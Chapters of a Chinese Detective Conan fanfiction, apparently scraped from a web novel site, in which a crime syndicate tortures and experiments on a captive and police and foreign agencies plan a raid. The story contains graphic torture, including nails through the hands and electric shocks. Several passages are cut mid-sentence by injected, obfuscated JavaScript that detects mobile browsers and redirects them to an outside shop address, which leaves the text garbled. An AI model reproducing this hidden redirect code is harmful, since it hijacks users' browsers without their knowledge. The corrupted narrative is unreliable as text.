跟在琴酒身后的那些人里,为首的是一个女人,她看着浑身上下惨兮兮的青木修,似乎压根没把他放在眼里。 “他可是个硬茬。” 琴酒乜了她一眼,看出她心中的想法,出声提醒道。 “呵,”女人没有把琴酒的话放在心上,她不觉得自己手下还有什么问不出的东西,“放心交给我们好了。” 这个房间里有无死角监控,琴酒无意留在这里看审讯现场,便退了出去,走到一旁的监控室里看直播。 “好了,”女人拍拍手,示意跟着她的几人可以开始工作,“准备动手吧小子们,现在是你们大显身手的时间。” 她踩着高跟鞋慢慢踱步至青木修面前——以她的经验来看,这种步调最能在无形中增加对方的心理压力。 但很可惜,她对上的人是青木修。 青木修早对这一套琴酒在他面前用烂了的方法免疫,他现在难受的紧,甚至没有多耗费一丝力气抬起头正眼看一眼面前的女人。 感受到自己被忽视的女人按捺下心中的不爽,视线迅速在青木修浑身上下游走一圈,最终将目光定在了青木修被刺穿的手掌上。 掌心伤口周围的皮肉红肿,但是经过几天的自身修复,惨遭刺穿的皮肉也重新粘合在一起,血液也逐渐凝固成痂。 女人戴上手套,修长的指尖落在伤口周围肿起来的皮肤上,一下又一下的刺戳着,脸上确实满脸的天真无辜。 “这里是怎么弄得啊?你不疼吗?” 她这样说着,手中的力道又加大了几分。 青木修还是没动,但是那只手的五指却开始逐渐收拢,似乎是想抓住女人作乱的手指。 身后的两个男人立刻上前把他的手掰开,紧紧贴在刑架上。 “啊啦,忘记自我介绍了,你可以叫我玛格丽特。” 青木修撩起眼皮瞥了她一眼,没有什么特别的反应。 玛格丽特,这个代号他曾经有所耳闻,作为行动组的专用审讯官,这个人手下有一支专业的队伍,常年在基地里,很少露面——大多数见过她的人都是被抓住来的卧底或者是叛徒。 玛格丽特手下缓缓施加力道,把青木修已经有长合趋势的掌心重新撕裂开。 “嘶……” 青木修昂起头,轻轻倒抽了一口凉气。 他的反应愉悦了玛格丽特,女人的食指指尖戳进撕裂的掌心,来回搅弄着。 “很不错,我还以为你没有痛觉呢。” 青木修绷紧了下颌,努力让自己不再发出任何一点声音。 没有再得到一点预料中的反馈的玛格丽特很快不满起来,甚至用两根手指捻起一块儿血淋淋的软肉,来回提起又放下。 青木修不一会儿就变得冷汗岑岑,嘴唇不断地哆嗦着。 见身体已经难以控制,青木修索性咬住了自己的下唇,把所有的呜咽声吞回肚子。 “还真是嘴硬。” 玛格丽特收回了那副天真无邪的神情,“只有一只手受伤了多不好看,我们要追求对称之美。” 她说着回首给身后的人使了个眼色,手下立马会意,走到一旁的柜子,抽出两根长钉递给她。 玛格丽特没接,而是指挥着他们动手。 长钉分别被立在青木修的手心处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14433926|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在玛格丽特的示意下,两个人一前一后的把长钉钉入了他的掌心。 鲜血再一次顺着手掌滴落。 玛格丽特被鲜血刺激到,整个人显出了异常的兴奋。 “你的血好香。” 被绑在刑架上的青木修视角稍微比她高一点,因此也能做出一副睥睨她的样子。 “你好恶心。” 玛格丽特的表情有一瞬间的狰狞,但是她很快整理好了自己的神态。 “上吐真剂吧。” 看来琴酒说的没错,这人是一块儿难啃的硬骨头。 说实话,针头刺破皮肤造成的疼痛对于青木修来说已经不算什么了。 吐真剂很快起了作用,青木修眼前的画面愈发混沌,他逐渐开始分不清哪些是现实,哪些又是幻觉。 玛格丽特耐心的没有说话,她在等吐真剂起效后青木修自己张口。 可是青木修的意志之坚定远超她的想象。半晌过去,青木修只是眼神涣散了些,竟是没有吐出半个字。 玛格丽特只好让人又给他打了一针。 这一次她不得不亲自开口引导青木修: “杜林标,你什么时候知道诸伏景光是卧底的?” “……唔……” 青木修歪歪头,看上去是在回忆。 “不久之前。” 这个答案并不能让玛格丽特满意,她有些怀疑青木修是在说谎,但又不相信又有人能够和组织研发的特效药抗衡。 “那你为什么要帮助他逃跑呢?” 青木修的脸上慢慢浮现起一层名为“眷恋”的神色,语气也跟着软了下来。 “我……喜欢他。” “……” 玛格丽特和手下相顾无言,他们怎么也想不到青木修似乎是个恋爱脑?! 在他们没有注意到的地方,青木修的眼睛逐渐恢复了神采。 不可否认,组织研发的吐真剂效果很好,让人几乎没有抵抗力,但是玛格丽特他们犯了一个致命的错误—— 只有组织里的人会称呼他为“杜林标”,这一点提醒了他自己身在组织,绝对不能吐露有关诸伏景光和降谷零的消息。 只是刚刚嘴巴的反应比脑子快,一不小心把他辛辛苦苦掩藏在最深处的心里话说了出来。 青木修感觉自己的脸似乎更烫了。 接下来玛格丽特又问了几个逐层深入的问题,但无一不是被青木修用模模糊糊,不痛不痒的答案怼了回去。 “药效快要过去了啊……” 玛格丽特有些头痛,组织的特效药起效快药力强,唯一不好的一点就是不能坚持太长时间。 看着青木修逐渐恢复清明的神色,她有些心烦。 时间已经过去了不少,但是她的审讯还是没有什么进展。 这不应该,非常不应该。 往常从来没有一个人能在她的手下撑过这么久。 “你是敬酒不吃吃罚酒,好言好语的对待你你不要,只能让你吃些苦头了。” 她的神色重新变得阴戾,指挥人给青木修的嘴巴缠上布条防止他咬断自己的舌头。 68.第 68 章 青木修近乎冷漠地看着这些人在自己身上动作。 他只是极为克制地眨眨眼,把生理性的泪水重新逼了回去。 接下来的刑讯更像是一场单方面的凌虐,可惜纵使玛格丽特和她带来的人用尽了所有不致命的手段,也没能把青木修的嘴巴撬开。 “玛格丽特,你们失败了。” 琴酒自认为已经给了玛格丽特他们充足的时间,但对方并没有把事情办成。 “抱歉,琴酒大人。” 玛格丽特看着刑架上陷入昏迷的青木修,恨得牙齿痒痒,却也不得不承认自己没能完成琴酒布置的任务。 这对她来说是一种耻辱。 琴酒的目光落在胸膛仍有起伏的青木修身上,出乎玛格丽特意料的没有嘲讽他们。 “知道了,你们可以走了。” 他倒是淡定,心知青木修如果是那么容易就服软的话他也没必要收下朗姆的那批人。 没等玛格丽特他们一行人离开,琴酒就把朗姆的那批人叫来了。 “哟,琴酒,看来你们行动组的人也不怎么样嘛。” 来人自认为是朗姆的心腹之一,对待琴酒的态度也不怎么客气。 “呵……” 琴酒看着眼前吊儿郎当模样的人,忽然觉得这群人应该也不可能让青木修张嘴。 不过他没把这句心里话说出来——能看着朗姆的人吃瘪何尝不是一种快乐呢? 怀着这样的念头,他把位置让给了他们。 “这个家伙……态度不对啊……” 吊儿郎当的男人咂嘴,从琴酒的背影里琢磨出意思不对味来。 转念一想,这里可是审讯室,无死角二十四小时监控,不管是琴酒还是刑架上的人,都不可能做什么手脚。 “啧,这家伙……” 他把视线转回青木修身上。 “玛格丽特那家伙还是这样,没有一点美感。” 他对玛格丽特的手笔感到非常不满。 这个女人向来喜欢这种古老的刑具,在受审者的身体上留下各种各样的痕迹。 “你好,我是自由古巴。” 青木修抬起眼帘分给他一个眼神。 自由古巴又“啧”了一声,“这张脸还算是干净。” 他上上下下把人打量一番,视线最终停在了青木修左手小指上。 这根手指曾被玛格丽特命人钉入长钉,指甲盖都已经被掀了起来。 电极贴贴上没了指甲保护的软肉,青木修的手指下意识蜷缩了一下。 似乎是为了保持所谓的“美感”,自由古巴没有让人另寻位置给青木修贴上电极贴,而是把它们都贴在了他已有的伤口上。 接通电流,欣赏着青木修不受控制的颤抖,自由古巴对自己的作品很是满意。 这仅仅是他给青木修准备的一道开胃小菜。 青木修用尽全力咬紧口腔内壁以让自己不要发出声音,没多久就尝到了浓郁的铁锈味。 他的牙齿几乎要咬掉一块肉来。 眼看着青木修已经开始翻白眼,自由古巴这才让人停止电击。 在电击还没有停止的时候青木修就感受到了一丝异样,但当时浑身上下没有一处不痛,没能让他及时觉察出究竟是哪里出了问题。 直到自由古巴他们利用各种新式刑具对青木修开始进行新一轮的审讯时,对方忽然没了意识。 手下的人按照惯例准备泼一桶盐水来唤醒他,但经验相当丰富的自由古巴意识到了不对,上前探了探青木修的呼吸。 “——快叫人!他没呼吸了!” 自由古巴只觉得一阵晦气,玛格丽特他们下手那么重青木修都没出什么事,结果到了他们反而把人弄得没了呼吸。 左山先生提前安排了实验组在基地待命,得到消息后第一时间冲进审讯室进行抢救工作。 实验组的人几乎是把消息同时传递给了远在鸟取的左山先生,后者得到通知,骂骂咧咧地坐上了前往东京的飞机。 “你们对他用了电击?” 为首的实验人员狠狠瞪了一眼自由古巴,接着把琴酒也算了进去,“他的心脏上有生物芯片,不符合规定的电击会导致生物芯片功能暂时性紊乱,释放的生物电流会影响他心脏的正常功能。” 自由古巴第一次在琴酒面前被实验组的人落了面子,闻言有些尴尬的摸摸鼻子。 好在经过实验人员一番紧急抢救后,青木修恢复了意识。 琴酒抬抬手准备让自由古巴继续审讯,却被脚步匆匆赶来的左山先生拦下。 “琴酒,你想干什么?” 他怒气冲冲地横在琴酒和青木修之间,“他就算是死也得死在我们实验组!” “他还没有交代我们想要的东西。” “那是你们的无能!” 左山先生出了BOSS之外谁的面子也不会给,扬扬手示意其他人准备转移青木修。 降谷零就是在这时赶来的。 “琴酒,朗姆让我过来一趟——这是在干什么?” 他一眼就看到了躺在病床上正在输液的青木修。 青木修仰躺着,听见他的声音也没有做出任何反应,眼神空洞地盯着天花板。 降谷零心中闪过一丝不好的预感。 “朗姆?” 琴酒乜了眼自由古巴。 还知道给朗姆通风报信。 “你们审出什么东西了吗?” 降谷零曾和自由古巴有一面之缘,认得对方是朗姆专门培养的私人刑讯官,至于左山先生,他倒是不太熟悉,但也能从对方的白大褂上窥见一二。 “……玛格丽特他们也没审出什么。” 自由古巴不是很想背锅,干脆顾左右而言他。 “……” 降谷零听出对方的言外之意。这就是都没审出东西的意思呗。 “你是朗姆的人?” 左山先生看了降谷零一眼,“你也要来审讯?来晚了,回去吧。” 降谷零没忘记朗姆的吩咐,闻言露出为难的表情。 “可是朗姆大人……” 左山先生现在似乎很不想听有关“朗姆”的任何词汇。 “就是你们朗姆的人把他弄出来的心跳骤停!” “心跳骤停?” 降谷零维持住那副似笑非笑的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14447495|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情看向自由古巴,“看来你们的水平也不怎么样啊。” 自由古巴被他说的脸上一阵发热,但也不好辩驳什么。 “好了,我们现在要带他回鸟取,BOSS那边还等着呢。” 左山先生很是心疼地看了眼身上血呼啦差的青木修,“白白浪费了那么多血……” 降谷零不方便在这里多留,随便找了个借口便离开了。 没能完成任务的自由古巴还想和左山先生争取一下,但是被对方极为强硬的拒绝了。 没办法,琴酒只能让他们带着青木修从基地离开前往鸟取。 在鬼门关走了一圈的青木修没有任何情绪波动,他安静极了,任由实验组的人实施抢救、给他打针,连接上一串生命监控设备。 “好孩子,你受苦了。” 左山先生很是疼惜地摸了摸青木修的脸颊,青木修这才有了些反应,微微侧过头,躲避他的触碰。 “抽血。” 左山先生没有计较青木修的小动作,转头吩咐随行人员给青木修进行抽血。 “BOSS已经等了很久了。” 自打青木修叛逃之后,BOSS失去了血液供体,只能用实验室研发的人造血液,但很明显,人造血液的效果远不及新鲜采集的血液。 青木修感觉自己和整个世界隔了一层屏障,不管是其他人说什么还是做什么,他都觉得和自己的关系不大,像是隔了一层东西,雾蒙蒙的,没什么直接体验感。 他的灵魂似乎和身体已经逐渐分离了,灵魂漂浮在上空,淡漠地俯视着实验员们的动作,仿佛他们手下的人不是自己一样。 经过组织的紧急转运,青木修重新回到了这个熟悉的地方——鸟取研究中心。 他一来就被单独看押起来,房间里隔离了一切危险品,左山先生甚至不放心的让人给他戴上了一条锁链用以限制他的行动。 这些青木修都已经不在乎了。 在离开东京基地之前,他听到了降谷零的声音,对方会出现在这里看他,就意味着诸伏景光应该已经脱离了风险。 诸伏景光安全了。 这个念头冒出来的刹那,一直支撑着他的精神支柱轰然坍塌,青木修的生命体征瞬间下降,刺耳的警报声惊动了一直守在附近的研究人员,他们匆忙进入青木修的房间,对他实行抢救措施。 “怎么回事?” 刚离开没多久的左山先生步履匆匆,“不是已经稳定了吗?” 被问到的实验员一脸惶恐,却不得不说实话,“左山先生,我们也不知道啊!明明监测仪显示一切平稳啊!” 左山先生也没指望能从这群蠢货嘴里得到什么有用的信息,迅速指挥着他们动作。 “看来他也撑不了太久了啊……” 无意中对上青木修的眼睛,左山先生被对方死气沉沉的眼神吓到了。 在那一瞬间,他就明白了青木修的想法:这人根本就没想着能活。 他被青木修消极的态度激怒,果断调整了接下来有关青木修的实验方案。 一个没有生存欲望的人谁也救不了他,既然这样,还不如让他为组织发挥好最后的价值。 69.第 69 章 青木修这段时间以来意识一直昏昏沉沉,一天中清醒的时间并不多,每次醒来能看见的景色也不过是头顶的一方小小天花板,以及实验人员的头顶。 各种各样的器械被接进他的身体,汲取着他所剩无几的生机。 “先生,实验体的态度十分消极,很多临床反应我们都观测不到。” 在不知道第多少次因为青木修的拒不配合而错失实验数据后,忍无可忍的实验员向左山先生报告了他的情况。 左山先生眼中闪过一丝不耐,“杜林标,如果你好好配合的话事情或许还有的商量。” 青木修半阖着眼,一副对左山先生的威胁习以为常的样子。 这段时间以来,类似这样的话他已经听这些人说了多少遍。 但是左山先生能够精准拿捏他的痛处。 “如果你还是这种态度的话,我不介意让行动组那边发出关于那个警察的搜捕令,让他进来跟你作伴,怎么样?” 这句话果然凑了效,青木修几乎是瞬间有了回应,他想要从病床上坐起来,奈何受制于束缚带,尝试多次都失败了。 他知道左山先生向来言出必行。 “你猜猜看这一次还有没有人来救他?” 青木修的瞳孔放大,如果组织铁了心想要找人,就连公安也没办法保证诸伏景光百分百的安全。 左山先生把他所有的反应都看在眼里,“你好好配合我们,我就不去主动找那个警察的麻烦,怎么样?” 明知公安迟早有一天会和组织对上,左山先生此刻的话没什么分量,可是青木修还是不敢用诸伏景光的生命安全做赌注。 在左山先生不怀好意的注视下,青木修认命般轻轻点头。 有了他的配合,实验组的人更加没了忌惮,实验进程也因此变得更快。 这里的所有人都默认了青木修已经板上钉钉活不了太久,每天的实验都是争分夺秒的进行,恨不得一次性在他身上进行多个项目——在左山先生的默许下,这一点很快成为了现实。 实验组的人三班倒忙碌着,青木修觉得那种自己和这个世界的割裂感更加强烈。不知道在实验室里待了多久,他有些惊恐的发现自己有些记不清诸伏景光的脸。 这一发现给青木修带来了极大的恐慌,他的一半灵魂慌张地试图在记忆中找出诸伏景光的面孔,另一半却麻木地纵容大脑的遗忘。 我是谁? 又一次从死亡线上被实验组拉回来,青木修在睁开眼的那一刹那,脑子里忽然冒出了这么一个问题。 他试着回想,只能感受到一阵剧烈的头痛,就好像是有什么人在阻止他回忆过去。 听身边的这些人说,他似乎是叫杜林标? 青木修有那么短暂的困惑,“杜林标”听起来不像是一个名字。 但是他现在大脑一片空白,根本想不起有关过去的任何事情,只好姑且认为他就是杜林标吧。 青木修的异常没过多久就被实验人员发现并上报给了左山先生。 “你是说……他什么都不记得了?” 得知消息的左山先生面上划过喜色,当即带着人来“探望”青木修。 “杜林标,你还记得我吗?” 他做出一副恰到好处的关心表情。 青木修望见来人,尝试着回忆了一瞬,但头痛很快让他打消了这个念头。 “你是……?” “我是你的主治医生。” 在接下来的十分钟,左山先生向青木修编出了一套完整的身世,他信誓旦旦的样子使得青木修暂时接受了他的说法。 “想要去看看你的救命恩人吗?” 青木修迟疑了片刻,但最终没有拒绝左山先生的提议。 “给他松开吧。” “可是先生……” “我说松开。” 左山先生用不容置喙的口吻命令道。实验员不敢再多说什么,解开了青木修手上的镣铐。 “跟我来吧。” 青木修活动着手腕,老老实实跟在左山先生身后。 短短几步路的距离,就让他觉得很疲惫。 但想到要见的是自己的救命恩人,青木修还是强打起精神跟紧左山先生的步伐。 一行人走过长长的走廊,在尽头的房门前站定。 青木修下意识地有些不喜欢这个地方——他感受到了浓重的死气。 “进去吧。” 不容他多想,左山先生打开了沉重的房门。 入眼是茫茫白色,房间很大,却被各式各样的仪器占满,唯有中间的一张病床能看出不一样的色彩。 凑近了看,才能看出病床上躺着一位老人,面上氧气面罩里呼出的白气证明着对方还活着。 青木修忽然后退了一步,正好撞上不知什么时候来到他身后的左山先生。 “左山先生,这就是……” “没错,”左山先生丝毫没有骗人的心虚,“当时乌丸先生救下你的时候,你可是发过誓要保护好他。” “我明白了,”青木修隐隐觉得有哪里不对,却找不出什么实质性的证据,只能跟着眼下的情况走,“我会保护好乌丸先生的。” 左山先生嘴角的笑容扩大了几分,“好孩子,这段时间就麻烦你先住在这里了。” 他说完,不等听青木修的意见,便自顾自指使身后跟来的成员整理房间,为青木修挪出了一小块儿空地。 青木修就这样成了乌丸莲耶的“贴身保镖”。 “先生,杜林标的实验……” 回到实验室,左山先生的贴身助手提出了疑问。 左山先生扫了他一眼,“想要的数据我们都已经拿到了,他现在对我们来说没什么用处。” “那要不要送回行动组?” “不用,先留着他,BOSS现在还需要他的血。” 左山先生不知道想到了什么,笑得很愉悦,“想想看,以后让他出去和那些警察对峙,是不是很有意思?” 助手不太能理解左山先生的恶趣味,明智地选择不再说话。 被留在乌丸莲耶房间里的青木修缩在了最角落,远远观察着病床上几乎看不出还有人形的老人。 他握了握拳,掌心未愈合的伤口被汗水刺激的很痛,潜意识里一直有一道声音在提醒他,眼前看到的一切都是假的。 偏偏他什么也想不起来,这让他很苦恼。 这里的整个环境都散发着他熟悉又厌恶的气息,腐烂陈旧,就像是一个将死之人身上的味道。 . 经过多次申请,诸伏景光终于被批准出院。 他回到岗位上的状态变得和降谷零别无二致,工作起来不眠不休的架势几乎吓退了一众公安。 “诸伏先生……” 风见裕也擦了擦冷汗,心说不愧是降谷先生的幼驯染,两个都是工作狂。 诸伏景光从卷宗里抬起头——他这两天再重新审阅和组织有关的所有卷宗。 “风见?有什么消息吗?” 风见裕也在诸伏景光充满期待的目光下缓缓闭上了嘴。 注意到风见裕也的小动作,诸伏景光很好的克制住自己,没露出什么失望的表情。 他只是很平静地说:“没什么事的话,就快去忙吧。” 风见裕也冷汗冒得更多了,他总觉得眼前看似平静的上司内里已经卷起了十八级台风。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456700|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 好在他没忘记自己的正事,“诸伏先生,FBI那边来了人,寻求与我们合作,黑田长官让你过去一趟。” FBI? 诸伏景光笔尖一顿,在纸上留下一个小小的墨团。 “知道了,马上来。” 他把桌面上的咖啡一饮而尽,起身到洗手间简单洗了把脸,披上外套步履匆匆地赶到会议室。 “抱歉,我来迟——” 剩下的话被他咽回肚子里。 无他,只因为首的那人是赤井秀一。 许久不见,赤井秀一把原来的长发剪短了,但还是带着那顶绒线帽。 “诸伏君。” 赤井秀一看见来人是他,没露出什么惊讶的表情,只是冲着他的方向一颔首,算是打了招呼。 “诸伏,这位是FBI的探员赤井秀一,代表FBI前来与我们商量合作的事情。” 黑田兵卫例行向两方做了简单的介绍。 诸伏景光知道这个时候FBI找上门必然是得到了什么消息,但他现在需要的是高把握的方案,故而说话也就尖锐了一些。 “只有你们FBI怕是不够吧。” 不是他看不起FBI,而是组织的体量根本不是他们一家两家就能撼动。 赤井秀一丝毫没有被冒犯到的意思,“不仅仅是我们,CIA,英国的MI6,以及其他国家……” 他报出了好几个大国的官方机构名称。 这也让诸伏景光意识到,赤井秀一恐怕是拿到了什么大消息,并且把这次合作看做板上钉钉的事实。 确实,他带来的消息已经足够打动公安,但诸伏景光还需要知道一些前因后果。当然,这一点黑田兵卫也考虑到了。 “赤井先生,看起来你们对这次行动很有信心。” 这时门外走廊上又传来了匆匆脚步声。 是降谷零。 他在看到赤井秀一的刹那和诸伏景光的反应一致,尽管他的表情管理做得已经很好,可诸伏景光还是听到了一声低哼。 ……zero还是看FBI不顺眼啊…… 有了降谷零的加入,黑田兵卫只好又把在他之前的谈话简单总结了一下。 “在清理FBI被组织渗透成员时,我们注意到了一个案子。” 赤井秀一在投屏上打开一份资料。 “阿曼达案,是朗姆的手笔。” 降谷零顾不得嘲讽他们FBI也会被组织渗透,他的注意力都在“朗姆”二字上。 这个家伙老奸巨猾,一直以来都用虚拟信号和他们沟通,以至于降谷零到现在也没能完全弄明白他的身份。 “朗姆自认为把阿曼达案做的天衣无缝,但还是留下了一些线索。” 赤井秀一言简意赅,把他们顺藤摸瓜查出来的东西展示给在座的各位。 “……顺着这条线一直往上查,我们确定了组织BOSS的身份。” 诸伏景光的眼睛睁大了,他几乎是屏住呼吸等待着赤井秀一的下一句话。 “BOSS名叫乌丸莲耶。” “等等——”黑田兵卫没忍住打断他,“乌丸莲耶已经死了快半个世纪了。” 乌丸家不是没有进入过公安的视线,但他们现在实在和组织扯不上什么关系,便被他们放过了。 赤井秀一侧头,“如果他没死呢?” 这下子就连黑田兵卫都一时失语。 一个活了快一百五十年的人,这是什么概念? 降谷零倒是没有质疑乌丸莲耶的年龄问题,他只在乎情报的准确性。 “能确定BOSS就是乌丸莲耶吗?” 赤井秀一胸有成竹,“确定。” 70.第 70 章 以公安为本部,FBI牵头,联合行动组很快成功组建。 在降谷零仍旧需要潜伏的情况下,有过卧底经验的诸伏景光当之无愧成为主要负责人之一。 “诸伏警官,这是根据线索锁定的组织基地。” “诸伏警官……” “诸伏警官……” 整个联合行动办公室里人声鼎沸,各处呼唤诸伏景光的声音几乎没有消停过。 即便知道组织如跗骨之蛆难以一次性彻底消灭,他们也下定决心要给予组织一次沉重的打击,各方除了派遣人手来支援公安以外,也在自家成立了行动组,准备和日本这边打配合清缴组织在各地的分部。 诸伏景光已经连续好几天没有好好休息过了,这天他刚被黑田兵卫强制换下来去休息,屁股刚坐上行军床,就忽然听到了两方人员的争执声。 “很多证据都指向乌丸莲耶的本部是在群马!” “你们再仔细看看,明明应该在长野!” 诸伏景光捕捉到关键词“长野”,连忙从行军床上弹起来,三步并作两步冲过去。 “你们在讨论什么?” 两方人看见他过来,急急忙忙给他腾出位置,都想要他能够证明自己观点的正确性。 “是这样的诸伏警官,我们根据乌丸财团名下资产推测出了几个疑似乌丸莲耶老巢的地方,目前来看这两个地方可能性最大。” 其中一人帮他在地图上分别标记出两个地点。 诸伏景光只是扫了一眼就觉得不对劲。 “等等,群马和长野?” 诸伏景光凑近了些许,盯着地图缓缓皱起眉头。 对于群马他不太熟悉,但是长野……他记得青木修明确说过,那里只是一个分部实验中心。 “长野不是乌丸莲耶的据点……” 此话一出,认为群马县是老巢的一方立刻挑衅似的冲另一方挑了挑眉头。 “但是群马……应该也不是。” “等一下诸伏警官!” 原本还在笑的一方也收了笑容,不可置信地冲诸伏景光发问道:“要知道这两个地方是我们经过反复推算才确定的地点!” 诸伏景光一时之间也想不明白自己为什么会下意识的认为乌丸莲耶不在群马,总觉得自己似乎忘记了一些很重要的事情,他也拿不出证据来说服对方。 “我们……” 正在他陷入尴尬之际,降谷零突然出现了。 “很抱歉打断你们的对话——”他侧头看了一眼诸伏景光,在注意到对方和自己的同款黑眼圈之后没忍住笑了下,“但是乌丸莲耶确实不在群马和长野。” 他拿起被工作人员随手放在桌面上的记号笔,在地图上圈出了另外一个地名。 鸟取县。 “怎么会在鸟取?” 这一下原本还陷入争执的双方瞬间统一了战线,“无论是地理因素还是经济因素,鸟取都算不上什么发展地下势力的好地方。” “而且经过计算,鸟取县是在第一批被排除的地方……” 诸伏景光盯着地图上被圈出的鸟取县出神,终于抓住了一闪而过的记忆。 “我想起来了!”他一拍大腿,“青木修曾经亲口告诉过我,BOSS长居鸟取,几乎没有行动能力离开鸟取去其他地方!” 青木修的名字这段时间也被提起过,因而在场的行动成员对于这个名字都不算陌生。 “诸伏警官,你能确定消息的真实性吗?” 但想到青木修归根结底是出身于组织的人,他们多少还会有些不放心。 “他骗谁都不会骗我。” 诸伏景光把话说的斩钉截铁,当初如果不是青木修及时告诉他真相,现在降谷零肯定已经生死难料。 “好吧……” 原先还想反驳他的人只能嘟囔着坐回原位,“我们会重新进行计算的……” “不用了,”诸伏景光制止了他接下来的动作,“你们的思路其实没有问题,无论重新计算多少遍结果都不会变。” “乌丸莲耶正是利用了这一点,才会想到把老巢筑在一个我们绝不会想到的位置。” 降谷零补充了诸伏景光没有说完的话。 “现在立刻开始搜索鸟取县所有和乌丸家能扯得上关系的地方!” 开始商议乌丸莲耶的盘踞地意味着他们已经到了行动前的最后一步。 “可是……” 没有足够的证据,行动人员还保持着一丝质疑。 “立刻开始行动,如果地点上出了一切问题有我一个人承担!” 这句话在这个行动组的分量就很重了,况且诸伏景光的声音并没有刻意收敛,周围很多人都听到了他的话。 负责这一块儿工作的人员纷纷迅速行动起来。 降谷零匆匆过来,只是简单和诸伏景光交接了一下工作,又要返回组织。 “zero,还是没有……” 诸伏景光忍了又忍,还是没有克制住自己的冲动。 降谷零摁下门把手的动作顿住,轻轻叹息一声,背对着诸伏景光摇了摇头。 还是没有青木修的消息。 诸伏景光只能寄希望于青木修对于组织还有作用,这些人不会轻易要了他的命。 “zero,你多小心。” 作为行动组安插在组织中的内应,降谷零现在的工作也像是走钢丝一样危险。 “放心吧hiro,”降谷零故作轻松地耸耸肩膀,想要以此来缓解一些诸伏景光的紧张,“这条命是你和青木修给的,我可没那么容易死。” 哪怕知道真正的行动具有无法预测性,但有了降谷零的这句保证,诸伏景光多少还是安心一些。 一切行动都在紧锣密鼓且有条不紊地进行着,诸伏景光甚至还见了兄长诸伏高明一面。 ——组织在长野也有分部,诸伏高明作为当地负责人被紧急调来警视厅开会。 “哥哥!” 诸伏景光看到诸伏高明的那一刻先是惊讶了一瞬,从他警校毕业之后,兄弟两人已经有七年多的时间没有见过面。 “景光,别来无恙。” 诸伏高明反倒看起来淡定一些,他对弟弟的去向早有猜测,今天在这里相遇,不过是应证了他的推断。 兄弟俩人给了彼此一个拥抱。 “长高了。” 诸伏高明拍拍诸伏景光的后背,半是感慨道。 只可惜现在不是叙旧的好时机,他们只能简短聊过几句,便奔向各自的岗位。 . “这一次的行动不仅仅有我们公安的参与,更是需要多方的配合。” 坐在后排的诸伏景光悄悄抹了把脸,试图让自己更加清醒一些。 这段时间以来他已经喝遍了警视厅方圆三公里内所有咖啡厅的咖啡,现在对他来说咖啡的提神效果已经不大了。 “我们需要一个统一的行动时间——在这一刻,全球各地所有与此次行动有关的部门都会采取行动。” 黑田兵卫说完,给诸伏景光丢了个眼神,后者会意,连忙起身,“根据测算,我们已经将乌丸莲耶的具体位置缩小在了这个范围内。” 他边说边打开资料,“在这个范围内,我们又锁定了三处嫌疑最大的建筑。” 地图上出现了三个被红标的地方,其中一个正是黄昏别馆。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14463975|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我们会进一步细化为三个行动队,分别前往这三处地点。” 散会后,黑田兵卫叫住了他。 “诸伏,你留一步。” “黑田长官?还有什么事?” 黑田兵卫没有第一时间说话,似乎是在斟酌用词。 “……关键时刻,还是以捉拿乌丸莲耶,尽可能搜集罪证为第一要务。” 这是在变相的提醒他必要时刻需要放弃青木修。 诸伏景光竭力控制住自己的面部肌肉,“我明白了。” 他知道这肯定不是黑田兵卫本人提出来的意思。 果然黑田兵卫接下来的话才是他自己的想法。 “当然,青木修现在已经是我们的一份子不说,他本人也是组织犯罪证据的一个极佳证明。” 诸伏景光紧绷的肌肉微微松弛了些。 “好了,我知道你心里有数——你哥哥也来了,下午给你放个假,好好休息吧。” “谢谢黑田长官。” 诸伏景光自己也知道在行动前不好好休息的话,他的状态绝对会对行动有影响,但是他睡不着。 每当他得了空闲,就会不由自主地想起青木修,就算是勉强小憩一会儿也会梦到他。 自从降谷零说青木修被实验组带走之后,组织里就再也差不到他的消息。 距离行动日越来越近了,诸伏景光的心也越来越慌。 他清楚地知道自己现在应该怎么做,但是感情上却始终不能平静下来。 在警察医院昏迷期间的那场噩梦依旧萦绕着他,惹得他不能得到片刻的安宁。 